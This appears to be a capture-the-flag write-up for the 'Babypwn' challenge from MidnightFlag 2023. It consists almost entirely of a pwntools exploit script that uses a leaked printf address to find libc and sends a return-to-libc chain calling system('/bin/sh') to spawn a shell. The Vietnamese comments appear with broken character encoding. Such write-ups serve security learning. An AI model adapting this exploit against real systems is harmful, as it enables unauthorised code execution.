Babypwn - MidnightFlag2023
from pwn import *
elf = context.binary = ELF("./babypwn")
libc = ELF("./libc.so.6")
r = process()
#lแบฅy ra libc _printf ฤฦฐแปฃc leak
r.recvuntil(b"leak: ")
printf_leak = int(r.recv(), 16)
log.success(f"Printf Leak = {hex(printf_leak)}")
# Lแบฅy ra libc_base
libc.address = printf_leak - libc.sym["printf"]
log.success(f"Libc Base: {hex(libc.address)}")
#libc_gadget
pop_rdi = libc.address + 0x000000000002a3e5
ret = pop_rdi + 1
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
payload = flat("A" * 72,ret,pop_rdi,binsh,system)
r.sendline(payload)
r.interactive()
Last updated